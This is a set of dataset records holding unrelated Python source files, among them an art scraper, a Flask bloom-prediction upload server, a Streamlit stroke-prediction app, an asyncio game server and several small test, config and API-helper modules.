+{"seq_id":"245387715","text":"import numpy\nimport os\n\nif __name__ == '__main__':\n loadpath = 'D:\\\\ProjectData\\\\LIDC\\\\LIDC-Positive-FC7\\\\'\n savepath = 'D:\\\\ProjectData\\\\LIDC\\\\LIDC-Positive-FC7-Assembly\\\\'\n for indexA in os.listdir(loadpath):\n writeFile = open(savepath + indexA + '.csv', 'w')\n for indexB in os.listdir(loadpath + indexA):\n print(indexA, indexB)\n for indexC in os.listdir(loadpath + indexA + '\\\\' + indexB):\n readFile = open(loadpath + indexA + '\\\\' + indexB + '\\\\' + indexC, 'r')\n data = readFile.read()\n writeFile.write(data + '\\n')\n readFile.close()\n writeFile.close()\n","sub_path":"Main_LIDC/CsvAssembly.py","file_name":"CsvAssembly.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"270541196","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\nimport os\nfrom pathlib import Path\n\nBATCH_SIZE = 128\nIMG_SIZE = 224\nNUM_CLS = 1000\n\n# resnet 18\nmodel = dict(\n type='VanillaResNet',\n block_type='ResNetBottleneck',\n layers=[3, 4, 6, 3],\n num_cls=NUM_CLS\n)\n\ntrain_data = dict(\n dataset=dict(\n type='CIFAR10Dataset',\n root=Path(os.environ['DATA']),\n transform_pipeline=[\n dict(type='RandomResizedCrop', size=IMG_SIZE),\n dict(type='RandomHorizontalFlip'),\n dict(type='ToTensor'),\n dict(type='Normalize', mean=(0.5, 0.5, 0.5), std=(0.5, 0.5, 0.5))\n ]\n ),\n dataloader=dict(\n batch_size=64,\n pin_memory=True,\n num_workers=4,\n sampler=dict(\n type='DataParallelSampler',\n shuffle=True,\n )\n )\n)\n\ntest_data = dict(\n dataset=dict(\n type='CIFAR10Dataset',\n root=Path(os.environ['DATA']),\n train=False,\n transform_pipeline=[\n dict(type='Resize', size=(IMG_SIZE, IMG_SIZE)),\n dict(type='ToTensor'),\n dict(type='Normalize', mean=(0.5, 0.5, 0.5), std=(0.5, 0.5, 0.5))\n ]\n ),\n dataloader=dict(\n batch_size=BATCH_SIZE,\n pin_memory=True,\n num_workers=4,\n )\n)\n\ndist_initializer = [\n dict(type='DataParallelInitializer'),\n]\n\nparallelization = dict(\n pipeline=1,\n tensor=1,\n sequence=-1\n)\n\noptimizer = dict(\n type='Adam',\n lr=0.01\n)\n\nloss = dict(\n type='CrossEntropyLoss'\n)\n\ntrainer = dict(\n max_epochs=5,\n max_iters=1000\n)\n\namp = dict(\n fp16=None,\n)\n\nlevel = 2\n\nparallel = dict(\n pipeline=dict(size=1),\n tensor=dict(size=1, mode=None)\n)\n","sub_path":"tests/test_zero_data_parallel/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"113244271","text":"__author__ = 'jkf'\n\nimport json\n\nfrom adengine.model import User, Ad, Comment\n\n\ndef build_api_url(id_=None):\n if id_ is not None:\n return \"/api/ads/{}\".format(id_)\n return \"/api/ads\"\n\n\ndef _add_resource(session, resource):\n session.add(resource)\n session.commit()\n return resource\n\n\ndef _new_ad(user, text=\"ad-text\"):\n ad = Ad(text=text, author_id=user.id)\n return ad\n\n\ndef _new_user(name='Peter'):\n user = User(email='{name}@example.com'.format(name=name),\n name=name,\n username=name,\n password_hash='12346')\n return user\n\n\ndef _new_comment(ad, user, text='bla-bla-bla'):\n comment = Comment(text=text,\n ad_id=ad.id,\n author_id=user.id)\n return comment\n\n\ndef test_comments_refers_both_ad_and_user(session, client):\n \"Ensure comments added are referneced from the Ad\"\n # given\n user = _add_resource(session, _new_user(name='PeterGeneralUser'))\n user1 = _add_resource(session, _new_user(name='PeterGeneralUserGrant'))\n ad = _add_resource(session, _new_ad(user, text=\"ad1-text1\"))\n _add_resource(session, _new_comment(ad, user, text=\"ad11-text1\"))\n _add_resource(session, _new_comment(ad, user1, text=\"ad12-text1\"))\n\n # exercise\n result = client.get(build_api_url()).data\n doc = json.loads(result)\n\n # verify\n ads_dicts = doc.get(\"objects\")\n assert 1 == len(ads_dicts), \"Expected only one advertisement.\"\n assert \"ad1-text1\" == ads_dicts[0].get('text')\n","sub_path":"tests/views/test_ads.py","file_name":"test_ads.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"74423526","text":"import urllib\nimport urllib.request\nimport re\nfrom bs4 import BeautifulSoup\nimport time\nimport os\n\nfile_path = \"modern_paintings\"\nos.makedirs(file_path, exist_ok=True)\n\ndef url_open(url):\n req = urllib.request.Request(url, headers={'User-Agent': 'Mozilla/5.0'})\n retrycount = 0\n s = None\n while s is None:\n try:\n s = urllib.request.urlopen(req,timeout=50).read()\n except Exception as e:\n print(str(e))\n retrycount+=1\n if retrycount > 10:\n raise\n time.sleep(10)\n\n return BeautifulSoup(s, \"lxml\")\n\ndef urlretrieve(image_url, save_path):\n retrycount = 0\n s = None\n while s is None:\n try:\n s = urllib.request.urlretrieve(image_url, save_path)\n except Exception as e:\n print(str(e))\n retrycount+=1\n if retrycount > 10:\n raise\n time.sleep(10)\n\ndef get_images(url):\n print(url)\n genre_soup = url_open(url)\n artist_list_main = genre_soup.find(\"main\")\n lis = artist_list_main.find_all(\"li\")\n\n # for each list element\n for li in lis: \n born = 0\n died = 0\n\n # get the date range\n for line in li.text.splitlines():\n if line.startswith(\",\") and \"-\" in line:\n parts = line.split('-')\n if len(parts) == 2:\n born = int(re.sub(\"[^0-9]\", \"\",parts[0]))\n died = int(re.sub(\"[^0-9]\", \"\",parts[1]))\n\n # look for artists who may have created work that could in public domain\n if born>1800 and died>0 and died<1978:\n link = li.find(\"a\")\n artist = link.attrs[\"href\"]\n\n # get the artist's main page\n artist_url = base_url + artist\n artist_soup = url_open(artist_url)\n\n # only look for artists with the word modern on their main page\n if \"modern\" in artist_soup.text.lower():\n print(artist + \" \" + str(born) + \" - \" + str(died))\n\n # get the artist's web page for the artwork\n url = base_url + artist + '/all-works/text-list'\n artist_work_soup = url_open(url)\n\n # get the main section\n artist_main = artist_work_soup.find(\"main\")\n image_count = 0\n artist_name = artist.split(\"/\")[2]\n os.makedirs(file_path + \"/\" + artist_name, exist_ok=True)\n\n # get the list of artwork\n lis = artist_main.find_all(\"li\")\n\n # for each list element\n for li in lis:\n link = li.find(\"a\")\n\n if link != None:\n painting = link.attrs[\"href\"]\n\n # get the painting\n url = base_url + painting\n print(url)\n\n try:\n painting_soup = url_open(url)\n\n except:\n print(\"error retreiving page\")\n continue\n\n # check the copyright\n if \"Public domain\" in painting_soup.text:\n\n # get the url\n og_image = painting_soup.find(\"meta\", {\"property\":\"og:image\"})\n image_url = og_image[\"content\"].split(\"!\")[0] # ignore the !Large.jpg at the end\n print(image_url)\n\n parts = url.split(\"/\")\n painting_name = parts[-1]\n save_path = file_path + \"/\" + artist_name + \"/\" + painting_name + \".jpg\"\n\n #download the file\n try:\n print(\"downloading to \" + save_path)\n time.sleep(0.2) # try not to get a 403 \n urlretrieve(image_url, save_path)\n image_count = image_count + 1\n except Exception as e:\n print(\"failed downloading \" + image_url, e)\n\nbase_url = \"https://www.wikiart.org\"\nurls = []\nfor c in range(ord('a'), ord('z') + 1):\n char = chr(c)\n artist_list_url = base_url + \"/en/Alphabet/\" + char + \"/text-list\"\n urls.append(artist_list_url)\n\nprint(urls)\n\nfrom concurrent.futures import ThreadPoolExecutor\nexecutor = None\nwith ThreadPoolExecutor(max_workers = 16) as executor:\n ex = executor\n executor.map(get_images, urls)\n ","sub_path":"download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":3991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"145311008","text":"# -*- coding: utf-8 -*-\r\nimport re,pymysql\r\nconnection = pymysql.connect(host='127.0.0.1',port=3306,user='root',password='*',db='ysdd',charset='utf8')\r\ncursor = connection.cursor()\r\nsql=\"select ROE,ycpdays,cpdays,realid from cpgz where red=1 and zf=1\"\r\ncursor.execute(sql)\r\ndates = cursor.fetchall()\r\nfor date in dates:\r\n dalygrade = float(date[0][:-1]) / date[1]\r\n ROE = dalygrade * date[2]\r\n parameter = 0.3 + (date[2] / 5) * 0.5\r\n gROE = (ROE*1.113-parameter)*0.19+parameter if ROE*1.1113 > parameter else parameter\r\n wgROE = (ROE*1.113-parameter)*0.2+parameter if ROE*1.1113 > parameter else parameter\r\n fxROE = 10 * ROE - 9 * wgROE\r\n sql=\"update cpgz set dalygrade=%0.4f,gROE=%0.4f,ROE='%0.2f%%' where realid='%s'\" %(dalygrade,gROE,ROE,date[3])\r\n cursor.execute(sql)\r\n connection.commit()\r\n sql = \"select stocks from hzb where realid='%s'\" %(date[3])\r\n cursor.execute(sql)\r\n stocks = cursor.fetchone()\r\n money = stocks[0] * (100+ROE) * 100\r\n sql=\"update hzb set investor='%0.2f%%',trader='%0.2f%%',money=%d where realid='%s'\" %(gROE,fxROE,money,date[3])\r\n cursor.execute(sql)\r\n connection.commit()\r\nconnection.close()\r\n \r\n \r\n\r\n \r\n \r\n","sub_path":"cpxz.py","file_name":"cpxz.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"59612291","text":"import flask\nimport os\nimport datetime\nimport sys\n\nimport tensorflow as tf\nfrom flask import json\nfrom keras import models\n\n# initialize our Flask application and the Keras model\nfrom safetoswim.core import PhotoProcessor\nfrom safetoswim.repository import PostgresRepository, SqliteRepository\n\napplication = flask.Flask(__name__)\nmodel = None\ngraph = tf.get_default_graph()\nALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif'])\nUPLOAD_FOLDER = 'images'\napplication.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n\n\ndef load_model():\n global model\n file_dir = os.path.abspath(os.path.dirname(__file__))\n #model = ResNet50(weights=\"imagenet\")\n model_path = os.path.join(file_dir, 'models', 'hab_KerasBinaryClassifier_model.h5')\n print(f'Loading model from: {model_path}')\n model = models.load_model(model_path)\n if model is None:\n raise TypeError(f'Failed to load model from file {model_path}')\n\ndef get_model():\n global modele\n if model is None:\n load_model()\n return model\n\n\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS\n\n\ndef save_image(submitter, image_location, date, time, name='', location='', latitude=0.0, longitude=0.0):\n repo = SqliteRepository('test.sqlite')\n id = repo.add_sample(submitter, image_location, date, time, name, location, latitude, longitude)\n return id\n\n@application.route(\"/\", methods=['GET'])\ndef index():\n return '''\n Safe To Swim\n
Welcome to SafeToSwim!
'''\n\n@application.route(\"/predict\", methods=['GET', 'POST'])\ndef predict():\n # initialize the data dictionary that will be returned from the\n # view\n data = {\"success\": False}\n\n # ensure an image was properly uploaded to our endpoint\n if flask.request.method == \"POST\":\n if flask.request.files.get(\"image\"):\n # read the image in PIL format\n image = flask.request.files[\"image\"].read()\n photo_processor = PhotoProcessor(image)\n location = 'OakLedge'\n submitter = 'admin@safetoswim.org'\n longitude = 0.0\n # photo_processor.exif['DateTime']\n # photo_processor.exif['DateTimeOriginal']\n # photo_processor.exif['']\n # photo_processor.exif['']\n # photo_processor.exif['']\n # photo_processor.exif['']\n # photo_processor.exif['']\n # photo_processor.exif['']\n if 'DateTime' in photo_processor.exif_data:\n date = datetime.datetime.strptime(photo_processor.exif_data['DateTime'], '%Y:%m:%d %H:%M:%S')\n else:\n date = datetime.datetime.now()\n time = date.time()\n date = date.date()\n #date, time, name='', location='', latitude=0.0, longitude=0.0\n save_image(submitter, 'images/one.jpg', str(date), str(time), 'New Sample', location,\n photo_processor.latitude, photo_processor.longitude)\n\n # preprocess the image and prepare it for classification\n rgb_data = photo_processor.prepare_rgb_data(img_size=(128, 128))\n\n # classify the input image and then initialize the list\n # of predictions to return to the client\n # classify the input image and then initialize the list\n # of predictions to return to the client\n preds = None\n model = get_model()\n with graph.as_default():\n preds = model.predict(rgb_data)\n if preds[0][0] >= 0.5:\n data[\"prediction\"] = 'bloom'\n else:\n data[\"prediction\"] = 'not-bloom'\n\n #data['exif'] = photo_processor.exif\n\n # loop over the results and add them to the list of\n # returned predictions\n '''\n for (imagenetID, label, prob) in results[0]:\n r = {\"label\": label, \"probability\": float(prob)}\n data[\"predictions\"].append(r)\n '''\n\n # indicate that the request was a success\n data[\"success\"] = True\n\n # return the data dictionary as a JSON response\n response = flask.jsonify(data)\n return response\n else:\n pass\n else:\n return '''\n \n Upload new File\n
Upload new File
\n \n
%s
\n ''' % \" \".join(os.listdir(application.config['UPLOAD_FOLDER'], ))\n\n\nif __name__ == \"__main__\":\n print((\"* Loading Keras model and Flask starting server...\"\n \"please wait until server has fully started\"))\n load_model()\n application.run(host=\"0.0.0.0\", debug=True)\n\n","sub_path":"safetoswim/servers/flask_server.py","file_name":"flask_server.py","file_ext":"py","file_size_in_byte":4954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"596506285","text":"import logging\r\nimport requests\r\n\r\nfrom apiproxy import constants\r\nfrom .exceptions import LoggedDetailsAPIException\r\n\r\nlogger = logging.getLogger(__name__)\r\n\r\nclass APIActionCaller():\r\n\t\"\"\"Abstract class which must be inherited to handle a call to a Calendar42 API action\r\n\t\r\n\tThe abstract methods to implement are:\r\n\t* extract_data()\r\n\t* get_relative_url()\r\n\t\"\"\"\r\n\t\r\n\tdef __init__(self, token):\r\n\t\t\"\"\"\r\n\t\t@param {str} token\tThe authentication token to use when calling the Calendar42 API\r\n\t\t\"\"\"\r\n\t\tself._token = token\r\n\t\r\n\tdef call(self, *args, **kwargs):\r\n\t\t\"\"\"Calls the Calendar42 API and returns the response\r\n\t\tParameters (if any) are forwarded to self.get_relative_url(), which may need some runtime data to compute the URL\r\n\t\t\r\n\t\t@return\t{dict}\tThe JSON API response\r\n\t\t\"\"\"\r\n\t\t\r\n\t\t# Call the Calendar42 API\r\n\t\tfull_url = constants.CALENDAR42_API_BASE_URL + self.get_relative_url(*args, **kwargs)\r\n\t\t\r\n\t\theaders = {\r\n\t\t\t'Accept': 'application/json',\r\n\t\t\t'Content-type': 'application/json',\r\n\t\t\t'Authorization': 'Token %s' % self._token,\r\n\t\t}\r\n\t\tresponse = requests.get(full_url, headers=headers)\r\n\t\t\r\n\t\t# Parse response as JSON\r\n\t\ttry:\r\n\t\t\tjson_data = response.json()\r\n\t\texcept ValueError as e:\r\n\t\t\tlogger.exception(e)\r\n\t\t\tlogger.error(\"URL called: %s\\nHere's the body of the response which couldn't get parsed to JSON: %s\" % (full_url, response.text))\r\n\t\t\traise LoggedDetailsAPIException()\r\n\t\t\r\n\t\t# Extract desired information\r\n\t\ttry:\r\n\t\t\tif 'error' in json_data:\r\n\t\t\t\t# Forward error from Calendar42 API to client\r\n\t\t\t\traise LoggedDetailsAPIException(json_data['error']['message'])\r\n\t\t\t\t\r\n\t\t\treturn self.extract_data(json_data)\r\n\t\texcept (KeyError, ValueError, AttributeError) as e:\r\n\t\t\tlogger.exception(e)\r\n\t\t\tlogger.error(\"URL called: %s\\nHere's the JSON data which didn't fit the expected format: %s\" % (full_url, json_data))\r\n\t\t\traise LoggedDetailsAPIException()\r\n\t\r\n\tdef extract_data(self, json_data):\r\n\t\t\"\"\"ABSTRACT METHOD - TO BE IMPLEMENTED IN CHILD CLASS\r\n\t\t\r\n\t\tExtracts the desired information from the JSON data returned by the Calendar42 API\r\n\t\t@param {dict} json_data\r\n\t\t@return {dict}\tThe extracted data\r\n\t\t\"\"\"\r\n\t\tlogger.exception(NotImplementedError())\r\n\t\traise LoggedDetailsAPIException()\r\n\t\r\n\tdef get_relative_url(self, *args, **kwargs):\r\n\t\t\"\"\"ABSTRACT METHOD - TO BE IMPLEMENTED IN CHILD CLASS\r\n\t\t\r\n\t\tReturns the end of the URL, corresponding to the API action to call\r\n\t\t\"\"\"\r\n\t\tlogger.exception(NotImplementedError())\r\n\t\traise LoggedDetailsAPIException()\r\n\r\n\r\nclass EventDetailsAPIActionCaller(APIActionCaller):\r\n\t\"\"\"Gets details (ID and title) of an event\"\"\"\r\n\r\n\tdef get_relative_url(self, event_id):\r\n\t\treturn constants.CALENDAR42_API_EVENT.format(event_id)\r\n\r\n\tdef extract_data(self, json_data):\r\n\t\traw_details = json_data['data'][0]\r\n\t\tdetails = {\r\n\t\t\t'id': raw_details['id'],\r\n\t\t\t'title': raw_details['title'],\r\n\t\t}\r\n\t\treturn details\r\n\r\n\t\t\r\nclass EventParticipantsAPIActionCaller(APIActionCaller):\r\n\t\"\"\"Gets list of participants to an event\"\"\"\r\n\r\n\tdef get_relative_url(self, event_id):\r\n\t\treturn constants.CALENDAR42_API_PARTICIPANTS.format(event_id)\r\n\r\n\tdef extract_data(self, json_data):\r\n\t\treturn [item['subscriber']['first_name'] for item in json_data['data']]\r\n","sub_path":"apiproxy/events/api_action_caller.py","file_name":"api_action_caller.py","file_ext":"py","file_size_in_byte":3199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"509688631","text":"from rest_framework import filters, mixins, viewsets\nfrom rest_framework.decorators import action\nfrom rest_framework.permissions import IsAdminUser\nfrom sreps.api.v1.serializers.customer import CustomerSerializer\nfrom sreps.api.v1.serializers.invoice import InvoiceListSerializer\nfrom sreps.core.models import Customer, Invoice\n\n\nclass CustomerViewSet(\n mixins.ListModelMixin,\n mixins.RetrieveModelMixin,\n mixins.CreateModelMixin,\n mixins.UpdateModelMixin,\n mixins.DestroyModelMixin,\n viewsets.GenericViewSet,):\n\n queryset = Customer.objects.all()\n serializer_class = CustomerSerializer\n permission_classes = (IsAdminUser,)\n\n @action(detail=True, methods=['GET'], name='Customer invoices')\n def invoices(self, request, pk=None):\n \"\"\"Get invoices made by a customer.\"\"\"\n\n customer = get_object_or_404(self.queryset, pk=pk)\n\n invoices = Invoice.objects.filter(\n customer=customer).order_by('-datetime_created')\n serializer = InvoiceListSerializer(invoices, many=True)\n\n return Response(serializer.data)\n","sub_path":"sreps/api/v1/views/customer.py","file_name":"customer.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"290191003","text":"#from fastapi import FastAPI\r\n#from pydantic import BaseModel\r\nimport pickle\r\nimport streamlit as st\r\nfrom sklearn.naive_bayes import GaussianNB\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\n'''\r\napp=FastAPI()\r\nclass request_body(BaseModel):\r\n Age:float\r\n Hypertension:str\r\n Heart_disease:str\r\n Average_glucose: float\r\n BMI: float\r\n Marital_status: str\r\n Gender: str\r\n Work_type: str\r\n Residence:str\r\n Smoking_status: str\r\n'''\r\ndf=pd.read_csv(\"stroke_data_Cleaned3.csv\",header=0)\r\nprint(df.head())\r\n\r\n#Creating X and y Variables for Training Testing datasets\r\nX=df.drop([\"stroke\"],axis=1)\r\ny=df[\"stroke\"] #Target Variable\r\n\r\n#Creating Training Testing datasets\r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, y_train, y_test= train_test_split(X,y, test_size=0.2, random_state=5)\r\n#I have tried using K-best(taking 6 Variables) and the Classification Report doesnot show much Variation thus we are not using K-best\r\n\r\n#Creating Classification Models\r\n#I am using Naive Bayes Classification here, thus Scaling and One Hot Encoding is not Required\r\nmodel=GaussianNB()\r\nmodel.fit(X_train,y_train)\r\ny_pred=model.predict(X_test)\r\n\r\n#Testing effeciency of Naive Bayes Classifier\r\nfrom sklearn.metrics import confusion_matrix, classification_report,recall_score,f1_score\r\ncm=confusion_matrix(y_test, y_pred)\r\nprint(\"Confusion Matrix\")\r\nprint(cm)\r\ncr=classification_report(y_test, y_pred)\r\nprint(\"Classification Report\")\r\nprint(cr)\r\n#Since this dataset is not balanced accuracy is not the measure we will be looking for\r\n# Here we want to reduce the number of False negatives so we will look at Recall and F1 Score\r\nrs=recall_score(y_test,y_pred, average=\"weighted\")\r\nfs=f1_score(y_test,y_pred,average=\"weighted\")\r\nprint(\"Recall Value: \",rs)\r\nprint(\"F1 Score: \",fs)\r\n\r\n#Pickle is used for saving .pkl file\r\n#We are using .pkl file because we are going to deploy the model on Streamlit\r\npickle.dump(model,open('stroke.pkl','wb'))\r\nloaded_model=pickle.load(open('stroke.pkl','rb'))\r\n\r\n#For deploying on the Website\r\ndef predict_input_page():\r\n loaded_model = pickle.load(open('stroke.pkl', 'rb'))\r\n st.title(\"Stroke Prediction Model\")\r\n Age=st.slider(\"Age: \", min_value=0, max_value=90)\r\n Hypertension = st.radio(\"Do you suffer from Hypertension: \",(\"Yes\",\"No\"))\r\n Heart_disease=st.radio(\"Do you suffer from Heart Disease: \",(\"Yes\",\"No\"))\r\n Average_glucose=st.slider(\"Average Glucose Levels: \", min_value=50, max_value=280)\r\n BMI=st.slider(\"BMI: \",min_value=10, max_value=70)\r\n Marrital_status=st.radio(\"Are you married: \",(\"Yes\",\"No\"))\r\n Gender=st.radio(\"What is your Gender: \",(\"Male\",\"Female\"))\r\n Work_type=st.radio(\"What is your Work type?\",(\"Private\",\"Self-employed\",\"children\",\"Govt_job\",\"Never_worked\"))\r\n Residence=st.radio(\"What is your area of Residence\",(\"Urban\",\"Rural\"))\r\n Smoking_status=st.radio(\"Enter your Smoking Status:\",(\"never smoked\",\"Unknown\",\"formerly smoked\",\"smokes\"))\r\n ok=st.button(\"Predict\")\r\n\r\n #Since we are taking the input as a string and the model needs the values in numbers we convert the String to int\r\n if Hypertension==\"Yes\":\r\n Hypertension= 1\r\n elif Hypertension==\"No\":\r\n Hypertension=0\r\n\r\n if Heart_disease==\"Yes\":\r\n Heart_disease= 1\r\n elif Heart_disease==\"No\":\r\n Heart_disease=0\r\n\r\n if Marrital_status==\"Yes\":\r\n Marrital_status=1\r\n elif Marrital_status==\"No\":\r\n Marrital_status=0\r\n\r\n if Gender==\"Male\":\r\n Gender=1\r\n elif Gender==\"Female\":\r\n Gender=0\r\n\r\n if Work_type==\"Govt_job\":\r\n Work_type=0\r\n elif Work_type==\"Never_worked\":\r\n Work_type=1\r\n elif Work_type==\"Private\":\r\n Work_type=2\r\n elif Work_type==\"Self-employed\":\r\n Work_type=3\r\n elif Work_type==\"children\":\r\n Work_type=4\r\n\r\n if Residence==\"Rural\":\r\n Residence=0\r\n elif Residence==\"Urban\":\r\n Residence=1\r\n\r\n if Smoking_status==\"Unknown\":\r\n Smoking_status=0\r\n elif Smoking_status==\"formerly smoked\":\r\n Smoking_status=1\r\n elif Smoking_status==\"never smoked\":\r\n Smoking_status=2\r\n elif Smoking_status==\"smokes\":\r\n Smoking_status=3\r\n\r\n testdata=np.array([[Age, Hypertension, Heart_disease, Average_glucose, BMI, Marrital_status,Gender,Work_type,Residence,Smoking_status]])\r\n classi=loaded_model.predict(testdata)[0]\r\n\r\n try:\r\n if ok==True:\r\n if classi == 0:\r\n st.success(\"Awesome! You are on low risk of getting Stroke\")\r\n elif classi == 1:\r\n st.error(\"Cautious! You are on high risk of getting Stroke\")\r\n except:\r\n st.info(\"Enter some Data\")\r\n\r\n\r\n\r\n\r\n","sub_path":"ML_Project_2_209027.py","file_name":"ML_Project_2_209027.py","file_ext":"py","file_size_in_byte":4696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"200320471","text":"#!/usr/bin/python3\n\nimport spaceking.net as net\nimport spaceking.common as com\nimport spaceking.log as log\nimport spaceking.event as ev\n\nimport shutil\nimport atexit\nimport os\nimport tempfile\nimport asyncio\nimport socket\n\nEVT_SERVER_RUNNING = 15000\nEVT_SERVER_QUIT = 15001\nEVT_SERVER_CONNECTED = 15002\nEVT_SERVER_DISCONNECTED = 15003\nEVT_SERVER_FAILED_JOIN = 15004\nEVT_SERVER_FAILED_CLIENT = 15005\nEVT_SERVER_NEW_CLIENT = 15006\nEVT_SERVER_DISCONNECTED_CLIENT = 15007\n\n\nclass ServerClient:\n\n __slots__ = [\"uid\", \"addr\", \"reader\", \"writer\"]\n\n def __init__(self, uid, addr, reader, writer):\n self.uid = uid\n self.addr = addr\n self.reader = reader\n self.writer = writer\n\n def __str__(self):\n return \"client: uid={0}, addr={1}\".format(self.uid, self.addr)\n\n\nclass ServerConnection(net.Connection):\n \"\"\"Game server\"\"\"\n\n MAX_CLIENTS = 16\n\n def __init__(self,\n bind_to=None,\n loop=asyncio.get_event_loop(),\n socket_type=\"tcp\"):\n \"\"\"NOTE: with socket_type = unix, the bind_to needs to be None or a\n temporary directory. This directory is removed on exit.\"\"\"\n super().__init__()\n self.clients = []\n self.server = None\n self._uid_cursor = 0 # ringbuf cur.\n self.loop = loop\n\n self.proto_map = {\n \"tcp\": self._start_tcp_server,\n \"unix\": self._start_unix_server\n }\n if socket_type not in self.proto_map:\n raise ValueError(\"socket type: {0} not valid.\".format(socket_type))\n self.socket_type = socket_type\n\n if bind_to is None:\n if socket_type == \"unix\":\n self.bind_to = self._unique_unix_socket_path()\n else:\n self.bind_to = \"localhost\"\n else:\n self.bind_to = bind_to\n\n self.register_handler(net.EVT_PACKET_SEND, self.handle_packet_send)\n\n def _unique_unix_socket_path(self):\n directory = tempfile.mkdtemp(prefix=\"sock-serv\", dir=com.CONFIG_HOME)\n sock_name = \"socket\"\n return os.path.join(directory, \"socket\")\n\n def _create_client(self, uid, *args, **kwargs):\n client = ServerClient(uid, *args, **kwargs)\n self._add_client(client)\n\n def create_evt(pkt):\n return net.NetEvent(net.EVT_PACKET_RECV, uid, pkt)\n\n # Server listens for client packets\n coro = self.listen_packets(client.reader, create_evt)\n task = asyncio.Task(coro, loop=self.loop)\n # Cleanup on socket death\n task.add_done_callback(lambda t: self.disconnect_client(client, t))\n return client\n\n def _add_client(self, client):\n self.clients.append(client)\n\n def _remove_client_by_uid(self, uid):\n for idx, client in enumerate(self.clients):\n if idx == uid:\n del self.clients[idx]\n\n def _get_client_by_uid(self, uid):\n for idx, client in enumerate(self.clients):\n if client.uid == uid:\n return self.clients[idx]\n\n def _next_uid(self):\n # Spawn new unique client ID. ring used for simplicity.\n uid = self._uid_cursor\n self._uid_cursor = (uid + 1) % ServerConnection.MAX_CLIENTS\n return uid\n\n def get_client_count(self):\n return len(self.clients)\n\n @asyncio.coroutine\n def accept_client(self, reader, writer):\n uid = self._next_uid()\n\n remote_addr = self._get_addr(writer)\n if remote_addr is None:\n log.warn(\"Error on client uid={0} connect.\".format(uid))\n return\n\n client = self._create_client(uid, remote_addr, reader, writer)\n\n yield from self.notify(net.NetEvent(EVT_SERVER_NEW_CLIENT, uid))\n log.info(\"{0} connected.\".format(client))\n\n @asyncio.coroutine\n def handle_packet_send(self, event):\n client = self._get_client_by_uid(event.uid)\n if client is None:\n return\n try:\n yield from self.send_packets(client.writer, event.pkt)\n except socket.error as err:\n log.debug(\"Error while sending packets to {0}\".format(client))\n self.disconnect_client(client)\n return\n\n def disconnect_client_by_uid(self, uid):\n # task of disconnect notification is returned\n self._remove_client_by_uid(uid)\n event = net.NetEvent(EVT_SERVER_DISCONNECTED_CLIENT, uid)\n\n task = asyncio.Task(self.notify(event), loop=self.loop)\n return task\n\n def disconnect_client(self, client, client_task=None):\n if client_task:\n try:\n result = client_task.result()\n except Exception as err:\n msg = \"{0} completed with an error. {1}\".format(client, err)\n log.debug(msg)\n\n log.info(\"{0} disconnected.\".format(client))\n self.disconnect_client_by_uid(client.uid)\n\n def _start_server(self, coro):\n try:\n self.server = self.loop.run_until_complete(coro)\n except Exception as err:\n log.error(\"server connection crashed on startup\")\n raise err\n\n def _start_tcp_server(self):\n self._start_server(asyncio.start_server(self.accept_client,\n loop=self.loop,\n host=self.bind_to,\n port=net.SERVER_PORT,\n reuse_address=True))\n\n def _start_unix_server(self):\n def socket_cleanup():\n shutil.rmtree(os.path.dirname(self.bind_to))\n log.debug(\"UNIX socket {0} cleaned up.\".format(self.bind_to))\n\n atexit.register(socket_cleanup)\n self._start_server(asyncio.start_unix_server(self.accept_client,\n path=self.bind_to,\n loop=self.loop))\n\n def start_server(self):\n self.proto_map[self.socket_type]()\n\n log.info(\"spaceking server listening.\")\n self.notify(net.NetEvent(EVT_SERVER_RUNNING, None))\n\n def quit(self):\n log.debug(\"spaceking server connection shutting down.\")\n if self.server:\n self.server.close()\n self.server = None\n self.notify(net.NetEvent(EVT_SERVER_QUIT, None))\n else:\n log.debug(\"Calling quit on a dead server\")\n","sub_path":"spaceking/server/net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":6412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}
+{"seq_id":"531321693","text":"# -*- coding: utf-8 -*-\n# Cardboardlint is a cheap lint solution for pull requests.\n# Copyright (C) 2011-2017 The Cardboardlint Development Team\n#\n# This file is part of Cardboardlint.\n#\n# Cardboardlint is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 3\n# of the License, or (at your option) any later version.\n#\n# Cardboardlint is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, see \n# --\n\"\"\"Collection of classes and methods shared between different linters.\"\"\"\nfrom __future__ import print_function\n\nfrom fnmatch import fnmatch\nimport subprocess\n\n\n__all__ = ['Message', 'run_command', 'matches_filefilter', 'filter_configs', 'Linter',\n 'derive_flags', 'apply_config_defaults']\n\n\nclass 